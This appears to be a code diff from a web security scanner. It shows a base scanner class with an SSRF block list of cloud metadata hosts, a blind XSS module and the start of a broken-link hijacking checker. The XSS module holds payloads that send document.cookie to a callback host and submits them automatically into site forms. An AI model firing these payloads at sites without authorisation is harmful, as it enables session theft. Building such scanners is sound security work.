+ result = {
211
+ "title": _clean_nul(title),
212
+ "severity": _clean_nul(severity),
213
+ "category": _clean_nul(category),
214
+ "cvss_score": cvss_score,
215
+ "description": _clean_nul(description),
216
+ "remediation": _clean_nul(remediation),
217
+ "evidence": _mask_secrets(evidence),
218
+ "payload": _clean_nul(payload),
219
+ "request_details": _clean_nul(request_details),
220
+ "response_details": _mask_secrets(response_details),
221
+ "confidence": _clean_nul(confidence),
222
+ "scanner_key": _clean_nul(scanner_key),
223
+ "cve_ids": cve_ids or [],
224
+ "references": references or [],
225
+ "timestamp": datetime.now(timezone.utc).isoformat(),
226
+ }
227
+ if cwe_ids:
228
+ result["cwe_ids"] = cwe_ids
229
+ if owasp_category:
230
+ result["owasp_category"] = _clean_nul(owasp_category)
231
+ _classify_enrich(result, scanner_key)
232
+ return result
233
+
234
+
235
+ def make_ssl_context(verify: bool | None = None):
236
+ import ssl as _ssl
237
+ ctx = _ssl.create_default_context()
238
+ if verify is False or (verify is None and not DEFAULT_VERIFY_SSL):
239
+ ctx.check_hostname = False
240
+ ctx.verify_mode = _ssl.CERT_NONE
241
+ else:
242
+ # Enforce TLS 1.2+ minimum (report §1.3)
243
+ try:
244
+ ctx.minimum_version = _ssl.TLSVersion.TLSv1_2
245
+ except AttributeError:
246
+ pass # Older Python — skip
247
+ return ctx
248
+
249
+
250
+ def check_robots_txt(target: str, user_agent: str = "LarShield/2.0") -> RobotFileParser | None:
251
+ try:
252
+ parsed = urlparse(target)
253
+ robots_url = f"{parsed.scheme}://{parsed.netloc}/robots.txt"
254
+ rp = RobotFileParser(robots_url)
255
+ rp.read()
256
+ return rp
257
+ except Exception as e:
258
+ print(f"ERROR: [Base] check_robots_txt error: {e}")
259
+ return None
260
+
261
+
262
+ # ── Blocked target sets (GAP-002) ─────────────────────────────────────────
263
+ _BLOCKED_HOSTS = frozenset({
264
+ "localhost", "127.0.0.1", "::1", "0.0.0.0",
265
+ "169.254.169.254", # AWS/Azure IMDS
266
+ "metadata.google.internal", # GCP metadata
267
+ "100.100.100.200", # Alibaba Cloud ECS metadata
268
+ "kubernetes.default.svc",
269
+ "kubernetes.default",
270
+ })
271
+ _BLOCKED_SCHEMES = frozenset({"file", "ftp", "gopher", "dict", "ldap", "ldaps"})
272
+
273
+ # Raised from 60→150 to reduce per-scanner throttle waits and cut scan time
274
+ _SCANNER_RATE_LIMIT = int(os.environ.get("SCANNER_RATE_LIMIT", "150"))
275
+ _SCANNER_RATE_WINDOW = int(os.environ.get("SCANNER_RATE_WINDOW", "60"))
276
+
277
+ # ── Module-level shared SSL context (avoids rebuilding per-instance) ──────────
278
+ _SHARED_SSL_CONTEXT = None
279
+ _SSL_CONTEXT_LOCK = threading.Lock()
280
+
281
+ def _get_shared_ssl_context():
282
+ """Return (or lazily create) a module-level SSL context."""
283
+ global _SHARED_SSL_CONTEXT
284
+ if _SHARED_SSL_CONTEXT is None:
285
+ with _SSL_CONTEXT_LOCK:
286
+ if _SHARED_SSL_CONTEXT is None:
287
+ _SHARED_SSL_CONTEXT = make_ssl_context(None)
288
+ return _SHARED_SSL_CONTEXT
289
+
290
+
291
+ class TokenBucket:
292
+ def __init__(self, rate: int = 60, window: int = 60):
293
+ self._rate = rate
294
+ self._window = window
295
+ self._tokens = rate
296
+ self._last_refill = time.monotonic()
297
+ self._lock = threading.Lock()
298
+
299
+ def _refill(self):
300
+ now = time.monotonic()
301
+ elapsed = now - self._last_refill
302
+ self._tokens = min(self._rate, self._tokens + elapsed * (self._rate / self._window))
303
+ self._last_refill = now
304
+
305
+ def acquire(self, block: bool = True) -> bool:
306
+ with self._lock:
307
+ self._refill()
308
+ if self._tokens >= 1:
309
+ self._tokens -= 1
310
+ return True
311
+ if block:
312
+ sleep_time = (self._window / self._rate) * 1.1
313
+ time.sleep(sleep_time)
314
+ self._refill()
315
+ if self._tokens >= 1:
316
+ self._tokens -= 1
317
+ return True
318
+ return False
319
+
320
+
321
+ class BaseScanner:
322
+ SCANNER_NAME: str = "Base Scanner"
323
+
324
+ def __init__(
325
+ self,
326
+ scan_id: str,
327
+ target: str,
328
+ domain: str,
329
+ auth_headers: dict | None = None,
330
+ verify_ssl: bool | None = None,
331
+ red_team: bool = False,
332
+ **kwargs,
333
+ ) -> None:
334
+ self.scan_id = scan_id
335
+ self.target = target
336
+ self.domain = domain
337
+ self.auth_headers = auth_headers or {}
338
+ self.verify_ssl = verify_ssl
339
+ self.red_team = red_team
340
+ self.vulns: list[dict] = []
341
+ self._ssl_context = None
342
+ self._robots_parser = None
343
+
344
+ # GAP-ADV: Centralized discovery context to prevent redundant crawling
345
+ self.discovery_context = kwargs.get("discovery_context", {})
346
+
347
+ # PHASE 1: Build per-scan site baseline for SPA/404 false-positive suppression
348
+ self._baseline = SiteBaseline()
349
+ try:
350
+ ssl_ctx = make_ssl_context(verify_ssl)
351
+ self._baseline.build(
352
+ target,
353
+ ssl_context=ssl_ctx,
354
+ headers={"User-Agent": "LarShield/2.0"},
355
+ timeout=6,
356
+ )
357
+ except Exception as _be:
358
+ add_log(scan_id, "WARNING", f"[Base] Baseline build error (suppression disabled): {_be}")
359
+
360
+ # BUG-12 FIX: Validate target on init so ALL scanners are protected.
361
+ # We catch ValueError here (not re-raise) to log and continue — some
362
+ # scan types like API scanners may legitimately call with non-HTTP URLs.
363
+ try:
364
+ self._validate_target(self.target)
365
+ except ValueError as e:
366
+ add_log(scan_id, "WARNING",
367
+ f"[Base] Target validation warning for '{target}': {e}")
368
+
369
+ # ── SSL / robots ─────────────────────────────────────────────────────
370
+
371
+ def get_ssl_context(self):
372
+ if self._ssl_context is None:
373
+ self._ssl_context = make_ssl_context(self.verify_ssl)
374
+ return self._ssl_context
375
+
376
+ def get_robots_parser(self):
377
+ if self._robots_parser is None:
378
+ self._robots_parser = check_robots_txt(self.target)
379
+ return self._robots_parser
380
+
381
+ def can_fetch(self, path: str = "/") -> bool:
382
+ rp = self.get_robots_parser()
383
+ if rp is None:
384
+ return True
385
+ return rp.can_fetch("LarShield/2.0", path)
386
+
387
+ # ── PHASE 1: Baseline convenience helpers ─────────────────────────────
388
+
389
+ def _is_baseline(self, status: int, body: str | bytes) -> bool:
390
+ """
391
+ Return True when this response matches the site's generic SPA/404 catch-all.
392
+ Use this before reporting any path as "found" to suppress false positives.
393
+ """
394
+ return self._baseline.is_baseline(status, body)
395
+
396
+ def _is_not_found(self, status: int, body: str | bytes = b"") -> bool:
397
+ """True when status >= 400 OR response matches the baseline catch-all."""
398
+ return self._baseline.is_not_found(status, body)
399
+
400
+ # ── Logging ──────────────────────────────────────────────────────────
401
+
402
+ def log(self, level: str, message: str) -> None:
403
+ add_log(self.scan_id, level, message)
404
+ # Emit real-time log event
405
+ emit_scan_progress(self.scan_id, 'scan_log', {
406
+ 'level': level,
407
+ 'message': message,
408
+ 'timestamp': datetime.now(timezone.utc).isoformat()
409
+ })
410
+
411
+ # ── Vulnerability reporting ──────────────────────────────────────────
412
+
413
+ def add_vuln(
414
+ self,
415
+ title: str,
416
+ severity: str,
417
+ category: str,
418
+ cvss_score: float,
419
+ description: str,
420
+ remediation: str,
421
+ evidence: str = "",
422
+ payload: str = "",
423
+ request_details: str = "",
424
+ response_details: str = "",
425
+ confidence: str = "Medium",
426
+ cve_ids: list | None = None,
427
+ references: list | None = None,
428
+ cwe_ids: list | None = None,
429
+ owasp_category: str | None = None,
430
+ ) -> None:
431
+ vuln = build_vuln(
432
+ title, severity, category, cvss_score,
433
+ description, remediation,
434
+ evidence, payload, request_details, response_details,
435
+ confidence=confidence,
436
+ scanner_key=getattr(self, "_SCANNER_KEY", "unknown"),
437
+ cve_ids=cve_ids,
438
+ references=references,
439
+ cwe_ids=cwe_ids,
440
+ owasp_category=owasp_category,
441
+ )
442
+ # Inline dedup: skip if same title+category already recorded this run
443
+ for existing in self.vulns:
444
+ if existing["title"] == vuln["title"] and existing["category"] == vuln["category"]:
445
+ # Update confidence if the new one is stronger
446
+ conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3}
447
+ if conf_rank.get(vuln["confidence"], 0) > conf_rank.get(existing["confidence"], 0):
448
+ existing["confidence"] = vuln["confidence"]
449
+ if vuln.get("payload"):
450
+ existing["payload"] = vuln["payload"]
451
+ if vuln.get("evidence"):
452
+ existing["evidence"] = vuln["evidence"]
453
+ return
454
+ self.vulns.append(vuln)
455
+ # Emit real-time vulnerability found event
456
+ emit_scan_progress(self.scan_id, 'vulnerability_found', {
457
+ 'title': title,
458
+ 'severity': severity,
459
+ 'category': category,
460
+ 'cvss_score': cvss_score,
461
+ 'confidence': confidence,
462
+ 'scanner_key': getattr(self, "_SCANNER_KEY", "unknown"),
463
+ 'timestamp': datetime.now(timezone.utc).isoformat()
464
+ })
465
+
466
+ def run(self) -> list[dict]:
467
+ raise NotImplementedError("Subclasses must implement run()")
468
+
469
+ # ── GAP-003: Unified auth-aware HTTP helpers ──────────────────────────
470
+
471
+ def _make_headers(self, additional: dict | None = None) -> dict:
472
+ """Build headers dict merging auth_headers (always include for authenticated scanning)."""
473
+ headers = {"User-Agent": "LarShield/2.0"}
474
+ if self.auth_headers:
475
+ headers.update(self.auth_headers)
476
+ if additional:
477
+ headers.update(additional)
478
+ return headers
479
+
480
+ def _throttle(self):
481
+ """Rate-limit requests per scanner instance. Blocks (sleeps) when rate limit is hit."""
482
+ if not hasattr(self, '_bucket'):
483
+ self._bucket = TokenBucket(_SCANNER_RATE_LIMIT, _SCANNER_RATE_WINDOW)
484
+ self._bucket.acquire(block=True)
485
+
486
+ def _make_request(
487
+ self,
488
+ url: str,
489
+ method: str = "GET",
490
+ data: bytes | None = None,
491
+ headers: dict | None = None,
492
+ timeout: int = 15, # Increased from 5s -> 15s to handle slower external sites
493
+ return_response_obj: bool = False,
494
+ ) -> tuple[str | None, int] | tuple[str | None, int, dict]:
495
+ """
496
+ Unified HTTP request helper — always includes auth_headers.
497
+ Returns (body_str, status_code). On error returns (None, 0).
498
+ Automatically handles HTTPError bodies.
499
+ """
500
+ self._throttle()
501
+ req_headers = self._make_headers(headers)
502
+ # Add Connection: close to prevent keep-alive pool exhaustion on stressed targets
503
+ req_headers.setdefault("Connection", "close")
504
+ # Use shared SSL context to avoid per-call context creation overhead
505
+ ssl_ctx = _get_shared_ssl_context() if self.verify_ssl is None else self.get_ssl_context()
506
+
507
+ # PHASE 7.3: Retry with backoff on IncompleteRead / transient errors
508
+ _RETRY_DELAYS = [0.0, 0.5, 1.5] # 3 attempts: immediate, +0.5s, +1.5s
509
+ for _attempt, _delay in enumerate(_RETRY_DELAYS):
510
+ if _delay:
511
+ time.sleep(_delay)
512
+ try:
513
+ req = urllib.request.Request(
514
+ url, data=data, headers=req_headers, method=method
515
+ )
516
+ with urllib.request.urlopen(
517
+ req, timeout=timeout, context=ssl_ctx
518
+ ) as r:
519
+ body = r.read().decode("utf-8", errors="ignore")
520
+ if return_response_obj:
521
+ return body, r.status, r.headers # type: ignore[return-value]
522
+ return body, r.status
523
+ except http.client.IncompleteRead as e:
524
+ if _attempt < len(_RETRY_DELAYS) - 1:
525
+ self.log("WARNING", f"[Base] IncompleteRead on {url} (attempt {_attempt+1}), retrying...")
526
+ continue
527
+ # Last attempt — return partial data
528
+ partial = e.partial.decode("utf-8", errors="ignore") if e.partial else ""
529
+ if return_response_obj:
530
+ return partial, 200, {} # type: ignore[return-value]
531
+ return partial, 200
532
+ except urllib.error.HTTPError as e:
533
+ try:
534
+ body = e.read().decode("utf-8", errors="ignore")
535
+ except Exception as ex:
536
+ self.log("ERROR", f"[Base] _make_request HTTPError body read error: {ex}")
537
+ body = ""
538
+ if return_response_obj:
539
+ return body, e.code, e.headers # type: ignore[return-value]
540
+ return body, e.code
541
+ except ValueError as e:
542
+ err_str = str(e).lower()
543
+ # Suppress expected errors from newline/CRLF injection payloads in headers
544
+ if "control characters" in err_str or "invalid header" in err_str:
545
+ if return_response_obj:
546
+ return None, 0, {} # type: ignore[return-value]
547
+ return None, 0
548
+ self.log("ERROR", f"[Base] _make_request ValueError: {e}")
549
+ if return_response_obj:
550
+ return None, 0, {} # type: ignore[return-value]
551
+ return None, 0
552
+ except Exception as e:
553
+ # Suppress verbose logging for expected/common probe errors
554
+ err_str = str(e).lower()
555
+ _suppressed = (
556
+ "timed out", "connection refused", "name or service",
557
+ "getaddrinfo", # DNS resolution failure
558
+ "errno 11001", # Windows: getaddrinfo failed
559
+ "control characters", # Expected when CRLF payloads hit urllib
560
+ "no connection could be made",
561
+ "actively refused",
562
+ "10054", # Connection forcibly closed
563
+ "forcibly closed",
564
+ )
565
+ if not any(x in err_str for x in _suppressed):
566
+ self.log("ERROR", f"[Base] _make_request error: {e}")
567
+ if return_response_obj:
568
+ return None, 0, {} # type: ignore[return-value]
569
+ return None, 0
570
+ # Should not reach here
571
+ if return_response_obj:
572
+ return None, 0, {} # type: ignore[return-value]
573
+ return None, 0
574
+
575
+
576
+ def _make_timed_request(
577
+ self, url: str, method: str = "GET",
578
+ data: bytes | None = None, headers: dict | None = None, timeout: int = 8,
579
+ ) -> tuple[str | None, int, float]:
580
+ """Returns (body, status, elapsed_seconds). Used for timing-based detection."""
581
+ t0 = time.monotonic()
582
+ body, status = self._make_request(url, method, data, headers, timeout)
583
+ return body, status, time.monotonic() - t0
584
+
585
+ # ── GAP-ADV: Concurrent execution helpers ──────────────────────────────
586
+
587
+ def _make_async_requests(
588
+ self,
589
+ requests_list: list[dict],
590
+ max_workers: int = 10, # PHASE 7.3: Reduced 25 → 10 to prevent connection pool exhaustion
591
+ ) -> list[tuple[dict, str | None, int]]:
592
+ """
593
+ Executes a list of requests concurrently using a thread pool.
594
+ Each request in `requests_list` must be a dict with keys:
595
+ 'url' (required), optionally 'method', 'data', 'headers', 'timeout'.
596
+ Returns a list of tuples: (request_dict, response_body, status_code).
597
+ """
598
+ import concurrent.futures
599
+
600
+ results: list[tuple[dict, str | None, int]] = []
601
+
602
+ def worker(req: dict) -> tuple[dict, str | None, int]:
603
+ url = req.get("url")
604
+ if not url:
605
+ return req, None, 0
606
+ method = req.get("method", "GET")
607
+ data = req.get("data")
608
+ headers = req.get("headers")
609
+ timeout = req.get("timeout", 15) # Consistent 15s default
610
+ body, status = self._make_request(url, method, data, headers, timeout)
611
+ return req, body, status
612
+
613
+ with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
614
+ future_to_req = {executor.submit(worker, req): req for req in requests_list}
615
+ for future in concurrent.futures.as_completed(future_to_req):
616
+ req = future_to_req[future]
617
+ try:
618
+ res = future.result()
619
+ results.append(res)
620
+ except Exception as exc:
621
+ self.log("ERROR", f"[Base] _make_async_requests future error: {exc}")
622
+ results.append((req, None, 0))
623
+
624
+ return results
625
+
626
+ # ── URL helpers ────────────────────────────────────────────────────────
627
+
628
+ def _safe_url_join(self, base: str, path: str) -> str:
629
+ """
630
+ Safely join a base URL with a relative path.
631
+ Handles edge cases like missing slashes, query strings, fragments.
632
+ """
633
+ try:
634
+ if path.startswith("http://") or path.startswith("https://"):
635
+ return path
636
+ return urljoin(base.rstrip("/") + "/", path.lstrip("/"))
637
+ except Exception:
638
+ return base
639
+
640
+ def _deduplicate_vulns(self) -> None:
641
+ """
642
+ Remove duplicate vulnerabilities from self.vulns in-place.
643
+ Dedup key: (title, category).
644
+ Keeps the highest-confidence occurrence.
645
+ """
646
+ seen: dict[tuple, dict] = {}
647
+ conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3}
648
+ for v in self.vulns:
649
+ key = (v["title"], v["category"])
650
+ if key not in seen:
651
+ seen[key] = v
652
+ else:
653
+ existing_rank = conf_rank.get(seen[key].get("confidence", "Low"), 0)
654
+ new_rank = conf_rank.get(v.get("confidence", "Low"), 0)
655
+ if new_rank > existing_rank:
656
+ seen[key] = v
657
+ self.vulns = list(seen.values())
658
+
659
+ # ── GAP-002: Target SSRF self-protection ─────────────────────────────
660
+
661
+ def _validate_target(self, url: str | None = None) -> None:
662
+ """
663
+ Prevent the scanner engine from being used as an SSRF pivot.
664
+ Raises ValueError for blocked targets.
665
+ BUG-12 FIX: Now called in __init__ automatically for every scanner.
666
+ """
667
+ target = url or self.target
668
+ try:
669
+ p = urlparse(target)
670
+ except Exception as exc:
671
+ raise ValueError(f"Invalid URL: {exc}") from exc
672
+
673
+ # Block dangerous schemes
674
+ if p.scheme in _BLOCKED_SCHEMES:
675
+ raise ValueError(f"Blocked URL scheme: {p.scheme!r}")
676
+
677
+ hostname = (p.hostname or "").lower().strip()
678
+ if not hostname:
679
+ raise ValueError("URL has no hostname")
680
+
681
+ # Block known metadata / internal service hostnames
682
+ if hostname in _BLOCKED_HOSTS:
683
+ raise ValueError(f"Blocked host: {hostname}")
684
+
685
+ # Block private / loopback / link-local IP ranges
686
+ try:
687
+ ip = ipaddress.ip_address(hostname)
688
+ if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast:
689
+ raise ValueError(f"Private/internal IP blocked: {ip}")
690
+ except ValueError as exc:
691
+ if "Blocked" in str(exc) or "Private" in str(exc) or "internal" in str(exc):
692
+ raise # Re-raise our own checks
693
+ # Not an IP address (it's a hostname) — fine, proceed
694
+ pass
backend/scanners/blind_xss_scanner.py ADDED
@@ -0,0 +1,126 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import re
2
+ import urllib.request
3
+ import urllib.parse
4
+
5
+ from scanners.base_scanner import BaseScanner, XSS_CALLBACK_URL
6
+
7
+ BLIND_XSS_PAYLOADS = [
8
+ f'"><script src="{XSS_CALLBACK_URL}/xss.js"></script>',
9
+ f"';new Image().src='{XSS_CALLBACK_URL}/?c='+document.cookie//",
10
+ f'"><img src=x onerror="fetch(\'{XSS_CALLBACK_URL}/?c=\'+btoa(document.cookie))">',
11
+ ]
12
+
13
+ FORM_INPUT_TYPES = ["text", "email", "search", "url", "tel", "textarea"]
14
+
15
+
16
+ class BlindXssScanner(BaseScanner):
17
+ SCANNER_NAME = "Blind XSS (Out-of-Band) Scanner"
18
+ _SCANNER_KEY = "blind_xss"
19
+
20
+ def __init__(self, scan_id, target, domain, **kwargs):
21
+ super().__init__(scan_id, target, domain, **kwargs)
22
+
23
+ def run(self) -> list:
24
+ self.log("INFO", f"[BlindXSS] Injecting blind XSS payloads into forms on {self.target}...")
25
+ self.log("INFO", f"[BlindXSS] Using callback URL: {XSS_CALLBACK_URL}")
26
+ try:
27
+ req = urllib.request.Request(
28
+ self.target, headers=self._make_headers()
29
+ )
30
+ with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
31
+ html = r.read().decode("utf-8", errors="ignore")
32
+ except Exception as e:
33
+ self.log("WARNING", f"[BlindXSS] Error: {e}")
34
+ return self.vulns
35
+
36
+ forms = self._parse_forms(html)
37
+ if not forms:
38
+ self.log("INFO", "[BlindXSS] No forms found to inject into.")
39
+ return self.vulns
40
+
41
+ injected_endpoints = []
42
+ for form in forms[:5]:
43
+ action = form.get("action") or self.target
44
+ if not action.startswith("http"):
45
+ from urllib.parse import urljoin
46
+ action = urljoin(self.target, action)
47
+ fields = form.get("fields", [])
48
+ if not fields:
49
+ continue
50
+ payload = BLIND_XSS_PAYLOADS[0]
51
+ post_data = {}
52
+ for field in fields:
53
+ field_type = field.get("type", "text").lower()
54
+ if field_type in FORM_INPUT_TYPES:
55
+ post_data[field["name"]] = payload
56
+ elif field_type == "hidden":
57
+ post_data[field["name"]] = field.get("value", "")
58
+ elif field_type == "email":
59
+ post_data[field["name"]] = "test@test.com" + payload
60
+ if post_data:
61
+ try:
62
+ data = urllib.parse.urlencode(post_data).encode()
63
+ req = urllib.request.Request(
64
+ action,
65
+ data=data,
66
+ method=form.get("method", "POST").upper(),
67
+ headers={
68
+ "User-Agent": "LarShield/2.0",
69
+ "Content-Type": "application/x-www-form-urlencoded",
70
+ },
71
+ )
72
+ urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context())
73
+ injected_endpoints.append(action)
74
+ self.log("INFO", f"[BlindXSS] Payload injected into: {action}")
75
+ except Exception as e:
76
+ self.log("ERROR", f"[BlindXSS] Injection error: {e}")
77
+ injected_endpoints.append(action + " (injection attempted)")
78
+
79
+ if injected_endpoints:
80
+ self.add_vuln(
81
+ title=f"Blind XSS Payloads Submitted to {len(injected_endpoints)} Form(s) — Awaiting Callback",
82
+ severity="Low",
83
+ category="Blind XSS",
84
+ cvss_score=0.0,
85
+ confidence="Low",
86
+ description=(
87
+ f"Out-of-band XSS payloads were submitted to {len(injected_endpoints)} form endpoint(s).\n"
88
+ f"Callback listener configured at: {XSS_CALLBACK_URL}\n\n"
89
+ + "\n".join(f"- `{e}`" for e in injected_endpoints)
90
+ + "\n\n**This is NOT a confirmed finding.** Blind XSS requires an external callback "
91
+ "to verify execution. Monitor your XSS hunter / callback server for incoming "
92
+ f"requests from `{XSS_CALLBACK_URL}`. If a callback is received, escalate to Critical."
93
+ ),
94
+ remediation=(
95
+ "1. If a callback IS received: Apply output encoding on ALL stored user data rendered in admin panels.\n"
96
+ "2. Implement a strict CSP on admin interfaces.\n"
97
+ "3. Use DOMPurify on any admin UI that renders user-submitted content.\n"
98
+ "4. If no callback is received within 24h, the forms are likely not vulnerable."
99
+ ),
100
+ )
101
+ else:
102
+ self.log("SUCCESS", "[BlindXSS] No injectable forms found.")
103
+ return self.vulns
104
+
105
+ def _parse_forms(self, html):
106
+ forms = []
107
+ for form_html in re.findall(r"<form[^>]*>.*?</form>", html, re.S | re.I):
108
+ action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
109
+ method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
110
+ fields = []
111
+ for inp in re.findall(r"<(?:input|textarea)[^>]*>", form_html, re.I):
112
+ name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I)
113
+ type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I)
114
+ val_m = re.search(r'value=["\']([^"\']*)["\']', inp, re.I)
115
+ if name_m:
116
+ fields.append({
117
+ "name": name_m.group(1),
118
+ "type": type_m.group(1) if type_m else "text",
119
+ "value": val_m.group(1) if val_m else "",
120
+ })
121
+ forms.append({
122
+ "action": action.group(1) if action else "",
123
+ "method": method.group(1) if method else "POST",
124
+ "fields": fields,
125
+ })
126
+ return forms
backend/scanners/broken_link_scanner.py ADDED
@@ -0,0 +1,256 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import re
2
+ import socket
3
+ import urllib.request
4
+ import urllib.error
5
+ from urllib.parse import urlparse
6
+ from scanners.base_scanner import BaseScanner
7
+
8
+ HIJACK_RISK = {
9
+ "script": {"weight": 5, "desc": "JavaScript — full XSS capability"},
10
+ "link": {"weight": 4, "desc": "CSS stylesheet — content injection, form hijacking"},
11
+ "iframe": {"weight": 4, "desc": "iframe — page content takeover"},
12
+ "src": {"weight": 3, "desc": "Embedded resource (image/font/object)"},
13
+ "href": {"weight": 2, "desc": "Hyperlink — reputation/phishing risk"},
14
+ }
15
+
16
+ EXTERNAL_PATTERNS = [
17
+ (r'<script[^>]+src=["\'](https?://[^"\'>\s]+)', "script"),
18
+ (r'<link[^>]+href=["\'](https?://[^"\'>\s]+\.css[^"\'>\s]*)', "link"),
19
+ (r'<iframe[^>]+src=["\'](https?://[^"\'>\s]+)', "iframe"),
20
+ (r'<img[^>]+src=["\'](https?://[^"\'>\s]+)', "src"),
21
+ (r'<source[^>]+src=["\'](https?://[^"\'>\s]+)', "src"),
22
+ (r'@import\s+["\'](https?://[^"\'>\s]+)', "link"),
23
+ (r'url\(["\']?(https?://[^"\'>\s]+)', "src"),
24
+ (r'<a[^>]+href=["\'](https?://[^"\'>\s]+)', "href"),
25
+ ]
26
+
27
+ DANGEROUS_RESOURCE_EXTS = {".js", ".css", ".woff", ".woff2", ".ttf", ".eot", ".svg", ".ico"}
28
+
29
+ COMMON_CNAME_TAKEOVER_SIGNATURES = [
30
+ "herokudns.com", "herokuapp.com", "heroku.com",
31
+ "cloudfront.net", "s3.amazonaws.com", "s3-website",
32
+ "github.io", "githubusercontent.com",
33
+ "unbouncepages.com", "unbounce.com",
34
+ "surge.sh", "netlify.app", "netlify.com",
35
+ "pages.dev", "workers.dev",
36
+ "azureedge.net", "azurewebsites.net", "trafficmanager.net",
37
+ "elb.amazonaws.com", "us-east-1.elb.amazonaws.com",
38
+ "firebaseapp.com", "web.app",
39
+ "wordpress.com", "wpengine.com",
40
+ "squarespace.com", "squarespaceusercontent.com",
41
+ "myshopify.com", "shopify.com",
42
+ "bilohost.com", "pantheonsite.io",
43
+ "aftership.com", "ghost.io",
44
+ "fastly.net", "glitch.me",
45
+ "bitbucket.io", "readme.io",
46
+ "statuspage.io", "atlassian.net",
47
+ "myshopify.io", "teachable.com",
48
+ "thinkific.com", "clickfunnels.com",
49
+ "cargocollective.com", "tictail.com",
50
+ "zendesk.com", "freshdesk.com",
51
+ "helpscout.net", "intercom.io",
52
+ ]
53
+
54
+ EXPIRED_REGISTRAR_INDICATORS = [
55
+ "this domain", "domain is parked", "buy this domain",
56
+ "domain is for sale", "expired", "registrar",
57
+ "whois protection", "this domain may be for sale",
58
+ "domain not found", "no website configured",
59
+ "server dns address could not be found",
60
+ "this site is not available",
61
+ "this domain registration",
62
+ "pending renewal",
63
+ ]
64
+
65
+
66
+ class BrokenLinkScanner(BaseScanner):
67
+ SCANNER_NAME = "Broken Link Hijacking Scanner"
68
+ _SCANNER_KEY = "broken_link"
69
+
70
+ def __init__(self, scan_id, target, domain, **kwargs):
71
+ super().__init__(scan_id, target, domain, **kwargs)
72
+ self._page_html = ""
73
+ self._resources: list[dict] = []
74
+
75
+ def run(self) -> list:
76
+ self.log("INFO", f"[BrokenLink] Scanning {self.target} for hijackable external resources...")
77
+ self._fetch_page()
78
+ if not self._page_html:
79
+ return self.vulns
80
+ self._extract_external_resources()
81
+ self._audit_resource_domains()
82
+ self._check_unregistered_domains()
83
+ self._check_nxdomain_resources()
84
+ return self.vulns
85
+
86
+ def _fetch_page(self):
87
+ try:
88
+ body, code = self._make_request(self.target, timeout=10)
89
+ if body:
90
+ self._page_html = body
91
+ except Exception as e:
92
+ self.log("ERROR", f"[BrokenLink] Fetch failed: {e}")
93
+
94
+ def _extract_external_resources(self):
95
+ found = set()
96
+ for pattern, rtype in EXTERNAL_PATTERNS:
97
+ for match in re.finditer(pattern, self._page_html, re.I):
98
+ url = match.group(1).split('"')[0].split("'")[0].split(">")[0].strip()
99
+ if self.domain not in url and url not in found:
100
+ found.add(url)
101
+ self._resources.append({"url": url, "type": rtype})
102
+ self.log("INFO", f"[BrokenLink] Found {len(self._resources)} external resource(s)")
103
+
104
+ def _audit_resource_domains(self):
105
+ for res in self._resources:
106
+ self._check_resource(res)
107
+
108
+ def _check_resource(self, res: dict):
109
+ url = res["url"]
110
+ parsed = urlparse(url)
111
+ hostname = parsed.hostname or ""
112
+ rtype = res["type"]
113
+ base_weight = HIJACK_RISK.get(rtype, {}).get("weight", 1)
114
+ ext = self._get_extension(url)
115
+ is_js_or_css = ext in DANGEROUS_RESOURCE_EXTS
116
+
117
+ status, body, resolved = self._probe_resource(url)
118
+ if status is None:
119
+ return
120
+
121
+ indicators = []
122
+ if status in (404, 410):
123
+ indicators.append(f"HTTP {status} Not Found — resource missing")
124
+ elif status in (403, 401):
125
+ indicators.append(f"HTTP {status} — access denied, may be misconfigured")
126
+ elif status == 200 and self._is_expired_landing(body):
127
+ indicators.append("HTTP 200 with domain-parked/expired content")
128
+
129
+ if not resolved:
130
+ nx = self._check_nxdomain(hostname)
131
+ if nx == "nxdomain":
132
+ indicators.append("DNS NXDOMAIN — domain does not exist")
133
+ elif nx == "takeover_candidate":
134
+ cname = self._get_cname(hostname)
135
+ indicators.append(f"CNAME to known takeover-vulnerable service ({cname}) — hijackable")
136
+ base_weight = min(base_weight + 2, 5)
137
+
138
+ if not indicators:
139
+ return
140
+
141
+ severity = self._severity_from_weight(base_weight)
142
+ cvss = self._cvss_from_weight(base_weight, len(indicators), is_js_or_css)
143
+
144
+ self.add_vuln(
145
+ title=f"Broken Link Hijacking — {url[:80]}",
146
+ severity=severity,
147
+ category="Broken Link Hijacking",
148
+ cvss_score=cvss,
149
+ description=(
150
+ f"External {rtype} resource hijackable:\n"
151
+ f" URL: {url}\n"
152
